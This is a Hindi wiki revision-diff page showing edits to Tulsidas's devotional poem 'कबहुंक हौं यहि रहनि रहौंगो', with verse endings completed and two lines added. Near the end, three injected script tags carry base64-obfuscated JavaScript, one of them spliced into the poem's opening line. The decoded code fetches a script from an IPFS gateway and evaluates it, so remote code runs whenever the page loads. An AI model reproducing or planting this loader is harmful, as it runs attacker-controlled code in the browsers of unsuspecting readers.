"कबहुंक हौं यहि रहनि रहौंगो -तुलसीदास" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
प्रीति चौधरी (चर्चा | योगदान) ('{| style="background:transparent; float:right" |- | {{सूचना बक्सा कविता |चित्र=Tulsidas.jpg |च...' के साथ नया पन्ना बनाया) |
कात्या सिंह (चर्चा | योगदान) |
||
पंक्ति 31: | पंक्ति 31: | ||
{{Poemopen}} | {{Poemopen}} | ||
<poem> | <poem> | ||
− | कबहुंक हौं यहि रहनि | + | कबहुंक हौं यहि रहनि रहौगो। |
− | श्री रघुनाथ-कृपाल-कृपा तैं, संत सुभाव | + | श्री रघुनाथ-कृपाल-कृपा तैं, संत सुभाव गहौगो। |
− | + | जथा लाभ संतोष सदा, काहू सों कछु न चहौगो। | |
− | परहित निरत निरंतर, मन क्रम बचन नेम | + | परहित निरत निरंतर, मन क्रम बचन नेम निबहौगो। |
− | परुष बचन अति दुसह स्रवन, सुनि तेहि पावक न | + | परुष बचन अति दुसह स्रवन, सुनि तेहि पावक न दहौगो। |
− | बिगत मान सम सीतल मन, पर-गुन, नहिं दोष | + | बिगत मान सम सीतल मन, पर-गुन, नहिं दोष कहौगो। |
− | परिहरि देहजनित चिंता दुख सुख समबुद्धि | + | परिहरि देहजनित चिंता दुख सुख समबुद्धि सहौगो। |
− | + | तुलसीदास प्रभु यहि पथ रहि अबिचल हरिभक्ति लहौगो। | |
</poem> | </poem> |
05:37, 24 दिसम्बर 2011 का अवतरण
| ||||||||||||||||||
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कबहुंक हौं यहि रहनि रहौगो। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |